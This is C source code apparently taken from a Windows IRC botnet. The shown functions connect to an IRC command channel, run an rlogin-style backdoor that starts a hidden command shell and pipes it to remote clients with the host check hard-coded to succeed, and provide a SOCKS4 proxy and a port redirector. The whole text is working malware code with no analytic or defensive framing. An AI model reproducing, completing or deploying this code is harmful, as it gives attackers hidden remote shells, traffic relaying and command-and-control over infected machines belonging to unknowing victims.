static BOOL CheckLogin(char *RemoteUser, char *RemoteHost, char *LocalUser, unsigned long ClientAddr) { // LPHOSTENT HostEnt; // BYTE HostName[100]; BOOL HostOk = FALSE; if (strcmp(LocalUser, RemoteUser) != 0) { addlogv("[RLOGIND]: Login rejected, Remote user: <%s@%s>.", RemoteUser, RemoteHost); return (FALSE); } // FIX ME: need to add in a real hostcheck. /* if ((HostEnt = gethostbyname(HostName)) != NULL) if (ClientAddr == *(unsigned long *)HostEnt->h_addr) { HostOk = TRUE; break; } } */ HostOk=TRUE; if (!HostOk) addlogv("[RLOGIND]: Login rejected, Remote user: <%s@%s>.", RemoteUser, RemoteHost); return HostOk; }
static PSESSION_DATA CreateSession(int threadnum) { PSESSION_DATA Session = NULL; BOOL Result; SECURITY_ATTRIBUTES SecurityAttributes; HANDLE ShellStdinPipe = NULL, ShellStdoutPipe = NULL; if ((Session = (PSESSION_DATA)malloc(sizeof(SESSION_DATA))) == NULL) return (NULL); Session->ReadPipeHandle = NULL; Session->WritePipeHandle = NULL; SecurityAttributes.nLength = sizeof(SecurityAttributes); SecurityAttributes.lpSecurityDescriptor = NULL; SecurityAttributes.bInheritHandle = TRUE; if ((Result = CreatePipe(&Session->ReadPipeHandle,&ShellStdoutPipe,&SecurityAttributes,0)) == FALSE) { addlogv("[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.", GetLastError()); goto Failure; } if ((Result = CreatePipe(&ShellStdinPipe,&Session->WritePipeHandle,&SecurityAttributes,0)) == FALSE) { addlogv("[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.", GetLastError()); goto Failure; } Session->ProcessHandle = StartShell(ShellStdinPipe, ShellStdoutPipe, threadnum); CloseHandle(ShellStdinPipe); CloseHandle(ShellStdoutPipe); if (Session->ProcessHandle == NULL) { addlog("[RLOGIND]: Failed to execute shell."); goto Failure; } Session->ClientSocket = INVALID_SOCKET; return (Session); Failure: if (ShellStdinPipe != NULL) CloseHandle(ShellStdinPipe); if (ShellStdoutPipe != NULL) CloseHandle(ShellStdoutPipe); if (Session->ReadPipeHandle != NULL) CloseHandle(Session->ReadPipeHandle); if (Session->WritePipeHandle != NULL) CloseHandle(Session->WritePipeHandle); free(Session); return (NULL); }
static void SessionReadShellThread(LPVOID param) { PSESSION_DATA Session = (PSESSION_DATA)param; char Buffer[BUFFER_SIZE], Buffer2[BUFFER_SIZE+30]; DWORD BytesRead; while (ReadFile(Session->ReadPipeHandle, Buffer, sizeof(Buffer), &BytesRead, NULL)) { DWORD BufferCnt, BytesToWrite; BYTE PrevChar = 0; for (BufferCnt = 0, BytesToWrite = 0; BufferCnt < BytesRead; BufferCnt++) { if (Buffer[BufferCnt] == '\n' && PrevChar != '\r') Buffer2[BytesToWrite++] = '\r'; PrevChar = Buffer2[BytesToWrite++] = Buffer[BufferCnt]; assert(BytesToWrite < sizeof Buffer2); } if (fsend(Session->ClientSocket, Buffer2, BytesToWrite, 0) <= 0) break; } if (GetLastError() != ERROR_BROKEN_PIPE) addlogv("[RLOGIND]: SessionReadShellThread exited, error: <%ld>.", GetLastError()); return; }
static HANDLE StartShell(HANDLE ShellStdinPipeHandle, HANDLE ShellStdoutPipeHandle, int threadnum) { PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; HANDLE ProcessHandle = NULL; memset(&sinfo, 0, sizeof(sinfo)); memset(&pinfo, 0, sizeof(pinfo)); sinfo.lpTitle = NULL; sinfo.cb = sizeof(STARTUPINFO); sinfo.lpReserved = NULL; sinfo.lpTitle = NULL; sinfo.lpDesktop = NULL; sinfo.dwX = sinfo.dwY = sinfo.dwXSize = sinfo.dwYSize = 0L; sinfo.wShowWindow = SW_HIDE; sinfo.lpReserved2 = NULL; sinfo.cbReserved2 = 0; sinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; sinfo.hStdInput = ShellStdinPipeHandle; sinfo.hStdOutput = ShellStdoutPipeHandle; DuplicateHandle(GetCurrentProcess(),ShellStdoutPipeHandle, GetCurrentProcess(),&sinfo.hStdError,DUPLICATE_SAME_ACCESS,true,0); if (CreateProcess(NULL,SHELL_COMMAND_LINE,NULL,NULL,true,0,NULL,NULL,&sinfo,&pinfo)) { ProcessHandle = pinfo.hProcess; threads[threadnum].pid = pinfo.dwProcessId; CloseHandle(pinfo.hThread); } else addlogv("[RLOGIND]: Failed to execute shell, error: <%d>.", GetLastError()); return(ProcessHandle); }
DWORD WINAPI IRC_Connect(LPVOID param) { IRC irc = *((IRC *)param); IRC *ircs = (IRC *)param; ircs->gotinfo = TRUE; int rval = 0; SOCKADDR_IN ssin; while (1) { memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons(irc.port); if ((ssin.sin_addr.s_addr=ResolveAddress(irc.host)) == 0) break; memset(threads[irc.threadnum].nick, 0, sizeof(threads[irc.threadnum].nick)); rndnick(threads[irc.threadnum].nick, nicktype, nickprefix); if ((threads[irc.threadnum].sock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) { Sleep(5000); continue; } if (fconnect(threads[irc.threadnum].sock, (LPSOCKADDR)&ssin, sizeof(ssin)) == SOCKET_ERROR) { fclosesocket(threads[irc.threadnum].sock); FlushDNSCache(); Sleep(5000); continue; } #ifdef DEBUG_CONSOLE printf("Bot started and connect to %s.\n", irc.host); #endif addlogv("[MAIN]: Connected to %s.", irc.host); rval = IRC_ReceiveLoop(threads[irc.threadnum].sock, irc.host, irc.channel, irc.chanpass, threads[irc.threadnum].nick, irc.clone); fclosesocket(threads[irc.threadnum].sock); if (rval == 0) continue; else if (rval == 1) { Sleep(900000); continue; } else if (rval == 2) break; } clearthread(irc.threadnum); return rval; }
// port redirect function DWORD WINAPI RedirectThread(LPVOID param) { REDIRECT redirect = *((REDIRECT *)param); REDIRECT *redirectp = (REDIRECT *)param; redirectp->gotinfo = TRUE; char sendbuf[IRCLINE]; DWORD id; SOCKADDR_IN rsin, csin; memset(&rsin, 0, sizeof(rsin)); rsin.sin_family = AF_INET; rsin.sin_port = fhtons(redirect.lport); rsin.sin_addr.s_addr = INADDR_ANY; int csin_len = sizeof(csin); SOCKET rsock, csock; if ((rsock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) != INVALID_SOCKET) { threads[redirect.threadnum].sock = rsock; fWSAAsyncSelect(rsock, 0, WM_USER + 1, FD_READ); if (fbind(rsock, (LPSOCKADDR)&rsin, sizeof(rsin)) == 0) { if (flisten(rsock, 10) == 0) { while(1) { if ((csock = faccept(rsock, (LPSOCKADDR)&csin, &csin_len)) != INVALID_SOCKET) { redirect.csock = csock; redirect.gotinfo = FALSE; sprintf(sendbuf,"[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.", finet_ntoa(csin.sin_addr), csin.sin_port, redirect.threadnum); redirect.cthreadnum = addthread(sendbuf,REDIRECT_THREAD,csock); threads[redirect.cthreadnum].parent = redirect.threadnum; if (threads[redirect.cthreadnum].tHandle = CreateThread(NULL,0,&RedirectLoopThread,(LPVOID)&redirect,0,&id)) { while (redirect.gotinfo == FALSE) Sleep(50); } else { addlogv("[REDIRECT]: Failed to start client thread, error: <%d>.", GetLastError()); break; } } } } } } fclosesocket(csock); fclosesocket(rsock); clearthread(redirect.threadnum); ExitThread(0); }
static BOOL GetStr(SOCKET Socket, char *buffer, int cnt) { char c; do { if (frecv(Socket, &c, 1, 0) != 1) return (FALSE); *buffer++ = c; if (--cnt == 0) { addlogv("[RLOGIND]: Protocol string too long."); return (FALSE); } } while (c != 0); return (TRUE); }
DWORD WINAPI Socks4ClientThread(LPVOID param) { SOCKS4 socks4 = *((SOCKS4 *)param); SOCKS4 *socks4p = (SOCKS4 *)param; socks4p->cgotinfo = TRUE; int threadnum = socks4.cthreadnum; SOCKS4HEADER hdr; TIMEVAL timeout; timeout.tv_sec = 5; timeout.tv_usec = 0; fd_set fd; FD_ZERO(&fd); FD_SET(threads[threadnum].sock, &fd); if (fselect(0, &fd, NULL, NULL, &timeout) == 0) { fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); } if (frecv(threads[threadnum].sock, (char *)&hdr, sizeof(hdr), 0) <= 0) { fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); } if (hdr.vn != 4 || hdr.cd != SOCKS4_CONNECT) { fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); } // FIX ME: do a userid (hdr.userid) check here if you wish to use simple auth (needs testing) if (socks4.userid[0] != '\0') { if (strcmp(hdr.userid, socks4.userid) != 0) { addlogv("[SOCKS4]: Authentication failed. Remote userid: %s != %s.", hdr.userid, socks4.userid); hdr.vn = 0; hdr.cd = SOCKS4_REJECT_USERID; memset(&hdr.userid, 0, 1024); fsend(threads[threadnum].sock, (char *)&hdr, 8, 0); fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); } } SOCKADDR_IN tsin; memset(&tsin, 0, sizeof(tsin)); tsin.sin_family = AF_INET; tsin.sin_port = hdr.destport; tsin.sin_addr.s_addr = hdr.destaddr; SOCKET tsock; if ((tsock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) { addlogv("[SOCKS4]: Error: Failed to open socket(), returned: <%d>.", fWSAGetLastError()); hdr.vn = 0; hdr.cd = SOCKS4_REJECT; memset(&hdr.userid, 0, 1024); fsend(threads[threadnum].sock, (char *)&hdr, 8, 0); fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); } if (fconnect(tsock, (LPSOCKADDR)&tsin, sizeof(tsin)) == SOCKET_ERROR) { addlogv("[SOCKS4]: Error: Failed to connect to target, returned: <%d>.", fWSAGetLastError()); hdr.vn = 0; hdr.cd = SOCKS4_REJECT; memset(&hdr.userid, 0, 1024); fsend(threads[threadnum].sock, (char *)&hdr, 8, 0); fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); } hdr.vn = 0; hdr.cd = SOCKS4_GRANT; memset(&hdr.userid, 0, 1024); fsend(threads[threadnum].sock, (char *)&hdr, 8, 0); TransferLoop(tsock, threads[threadnum].sock); fclosesocket(tsock); fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); }
DWORD WINAPI RlogindClientThread(LPVOID param) { RLOGIND rlogind = *((RLOGIND *)param); RLOGIND *rloginds = (RLOGIND *)param; rloginds->gotinfo = TRUE; int threadnum=rlogind.cthreadnum; char LocalUser[16], RemoteUser[16], TerminalType[64], HostName[100], Buffer[16]; LPHOSTENT HostEnt; SOCKADDR_IN csin; TIMEVAL timeout; timeout.tv_sec = 10; timeout.tv_usec = 0; fd_set fd; FD_ZERO(&fd); FD_SET(threads[threadnum].sock, &fd); if (fselect(0, &fd, NULL, NULL, &timeout) == 0) { fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); } frecv(threads[threadnum].sock, (char *)&Buffer, 1, 0); GetStr(threads[threadnum].sock, RemoteUser, sizeof(RemoteUser)); GetStr(threads[threadnum].sock, LocalUser, sizeof(LocalUser)); GetStr(threads[threadnum].sock, TerminalType, sizeof(TerminalType)); int csin_len = sizeof(csin); if (fgetpeername(threads[threadnum].sock, (LPSOCKADDR)&csin, &csin_len) != 0) { addlogv("[RLOGIND]: Error: getpeername(): <%d>.", fWSAGetLastError()); fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); } if ((HostEnt = fgethostbyaddr((char *)&csin.sin_addr, sizeof(csin.sin_addr), PF_INET)) == NULL) sprintf(HostName, finet_ntoa(csin.sin_addr)); else strcpy(HostName, HostEnt->h_name); frecv(threads[threadnum].sock, (char *)Buffer, sizeof(Buffer), 0); fsend(threads[threadnum].sock, "", 1, 0); if (!InsecureFlag && !CheckLogin(RemoteUser,HostName,rlogind.username,csin.sin_addr.s_addr)) { fsend(threads[threadnum].sock, "PERMISSION DENIED.", sizeof("PERMISSION DENIED."), 0); fshutdown(threads[threadnum].sock,SD_BOTH); fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); } addlogv("[RLOGIND]: User logged in: <%s@%s>.", RemoteUser, HostName); if (!SessionRun(threadnum)) { addlogv("[RLOGIND]: Error: SessionRun(): <%d>.", GetLastError()); fshutdown(threads[threadnum].sock,SD_BOTH); fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(1); } addlogv("[RLOGIND]: User logged out: <%s@%s>.", RemoteUser, HostName); fshutdown(threads[threadnum].sock,SD_BOTH); fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); }
DWORD WINAPI RlogindThread(LPVOID param) { RLOGIND rlogind = *((RLOGIND *)param); RLOGIND *rloginds = (RLOGIND *)param; rloginds->gotinfo = TRUE; char sendbuf[IRCLINE]; int csin_len, Err; unsigned long mode = 1; WSADATA WSAData; SECURITY_ATTRIBUTES SecurityAttributes; DWORD id; if ((Err = fWSAStartup(MAKEWORD(2,2), &WSAData)) != 0) { addlogv("[RLOGIND]: Error: WSAStartup(): <%d>.", Err); clearthread(rlogind.threadnum); ExitThread(1); } if (!SetConsoleCtrlHandler((PHANDLER_ROUTINE)&CtrlHandler, TRUE)) { addlogv("[RLOGIND]: Failed to install control-C handler, error: <%d>.", GetLastError()); fWSACleanup(); clearthread(rlogind.threadnum); ExitThread(1); } SOCKET ssock, csock; SOCKADDR_IN csin, ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons(rlogind.port); ssin.sin_addr.s_addr = INADDR_ANY; if ((ssock = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) != INVALID_SOCKET) { threads[rlogind.threadnum].sock = ssock; if (fbind(ssock, (LPSOCKADDR)&ssin, sizeof(ssin)) == 0) { if (flisten(ssock, SOMAXCONN) == 0) { SecurityAttributes.nLength = sizeof(SecurityAttributes); SecurityAttributes.lpSecurityDescriptor = NULL; SecurityAttributes.bInheritHandle = FALSE; addlog("[RLOGIND]: Ready and waiting for incoming connections."); BOOL flag = TRUE; while (1) { csin_len = sizeof(csin); if ((csock = faccept(ssock, (LPSOCKADDR)&csin, &csin_len)) == INVALID_SOCKET) break; if (fsetsockopt(csock, SOL_SOCKET, SO_KEEPALIVE,(char *)&flag,flag) != SOCKET_ERROR) { rlogind.gotinfo = FALSE; sprintf(sendbuf,"[RLOGIND]: Client connection from IP: %s:%d, Server thread: %d.", finet_ntoa(csin.sin_addr), fntohs(csin.sin_port), rlogind.threadnum); addlog(sendbuf); rlogind.cthreadnum = addthread(sendbuf,RLOGIN_THREAD,csock); threads[rlogind.cthreadnum].parent = rlogind.threadnum; if (threads[rlogind.cthreadnum].tHandle = CreateThread(&SecurityAttributes,0,&RlogindClientThread,(LPVOID)&rlogind,0,&id)) { while (rlogind.gotinfo == FALSE) Sleep(50); } else { addlogv("[RLOGIND]: Failed to start client thread, error: <%d>.", GetLastError()); break; } } } } } } sprintf(sendbuf, "[RLOGIND]: Error: server failed, returned: <%d>.", fWSAGetLastError()); if (!rlogind.silent) irc_privmsg(rlogind.sock, rlogind.chan, sendbuf, rlogind.notice); addlog(sendbuf); fclosesocket(csock); fclosesocket(ssock); fWSACleanup(); clearthread(rlogind.threadnum); ExitThread(0); }
bool SessionRun(int threadnum) { PSESSION_DATA Session = CreateSession(threadnum); SECURITY_ATTRIBUTES SecurityAttributes; DWORD ThreadId; HANDLE HandleArray[3]; assert(threads[threadnum].sock != INVALID_SOCKET); SecurityAttributes.nLength = sizeof(SecurityAttributes); SecurityAttributes.lpSecurityDescriptor = NULL; SecurityAttributes.bInheritHandle = false; Session->ClientSocket = threads[threadnum].sock; if ((Session->ReadShellThreadHandle = CreateThread(&SecurityAttributes,0, (LPTHREAD_START_ROUTINE)SessionReadShellThread,(LPVOID)Session,0,&ThreadId)) == NULL) { addlogv("[RLOGIND]: Failed to create ReadShell session thread, error: <%d>.", GetLastError()); Session->ClientSocket = INVALID_SOCKET; return(false); } if ((Session->WriteShellThreadHandle = CreateThread(&SecurityAttributes,0, (LPTHREAD_START_ROUTINE)SessionWriteShellThread,(LPVOID)Session,0,&ThreadId)) == NULL) { addlogv("[RLOGIND]: Failed to create ReadShell session thread, error: <%d>.", GetLastError()); Session->ClientSocket = INVALID_SOCKET; TerminateThread(Session->WriteShellThreadHandle, 0); return(false); } HandleArray[0] = Session->ReadShellThreadHandle; HandleArray[1] = Session->WriteShellThreadHandle; HandleArray[2] = Session->ProcessHandle; switch (WaitForMultipleObjects(3, HandleArray, false, 0xffffffff)) { case WAIT_OBJECT_0 + 0: TerminateThread(Session->WriteShellThreadHandle, 0); TerminateProcess(Session->ProcessHandle, 1); break; case WAIT_OBJECT_0 + 1: TerminateThread(Session->ReadShellThreadHandle, 0); TerminateProcess(Session->ProcessHandle, 1); break; case WAIT_OBJECT_0 + 2: TerminateThread(Session->WriteShellThreadHandle, 0); TerminateThread(Session->ReadShellThreadHandle, 0); break; default: addlogv("[RLOGIND]: WaitForMultipleObjects error: <%d>.", GetLastError()); break; } CloseHandle(Session->ReadShellThreadHandle); CloseHandle(Session->WriteShellThreadHandle); CloseHandle(Session->ProcessHandle); CloseHandle(Session->ReadPipeHandle); CloseHandle(Session->WritePipeHandle); fclosesocket(Session->ClientSocket); free(Session); return(true); }
// part of the redirect function, handles sending/recieving for the remote connection. DWORD WINAPI RedirectLoopThread(LPVOID param) { REDIRECT redirect = *((REDIRECT *)param); REDIRECT *redirectp = (REDIRECT *)param; redirectp->gotinfo = TRUE; int threadnum=redirect.cthreadnum; char sendbuf[IRCLINE], buff[4096]; int err; DWORD id; SOCKET ssock; do { if ((ssock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) break; SOCKADDR_IN ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_port = fhtons(redirect.port); IN_ADDR iaddr; iaddr.s_addr = finet_addr(redirect.dest); LPHOSTENT hostent; if (iaddr.s_addr == INADDR_NONE) hostent = fgethostbyname(redirect.dest); else hostent = fgethostbyaddr((const char *)&iaddr, sizeof(iaddr), AF_INET); if (hostent == NULL) break; ssin.sin_addr = *((LPIN_ADDR)*hostent->h_addr_list); if ((err = fconnect(ssock, (LPSOCKADDR)&ssin, sizeof(ssin))) == SOCKET_ERROR) break; redirect.cgotinfo = FALSE; sprintf(sendbuf,"[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.", finet_ntoa(ssin.sin_addr), ssin.sin_port, redirect.threadnum); redirect.cthreadnum = addthread(sendbuf,REDIRECT_THREAD,ssock); threads[redirect.cthreadnum].parent = redirect.threadnum; threads[redirect.cthreadnum].csock = threads[threadnum].sock; if (threads[redirect.cthreadnum].tHandle = CreateThread(NULL,0,&RedirectLoop2Thread,(LPVOID)&redirect,0,&id)) { while (redirect.cgotinfo == FALSE) Sleep(50); } else { addlogv("[REDIRECT]: Failed to start connection thread, error: <%d>.", GetLastError()); break; } while (1) { memset(buff, 0, sizeof(buff)); if ((err = frecv(threads[threadnum].sock, buff, sizeof(buff), 0)) <= 0) break; if ((err = fsend(ssock, buff, err, 0)) == SOCKET_ERROR) break; } break; } while (1); fclosesocket(threads[threadnum].sock); fclosesocket(ssock); clearthread(threadnum); ExitThread(0); }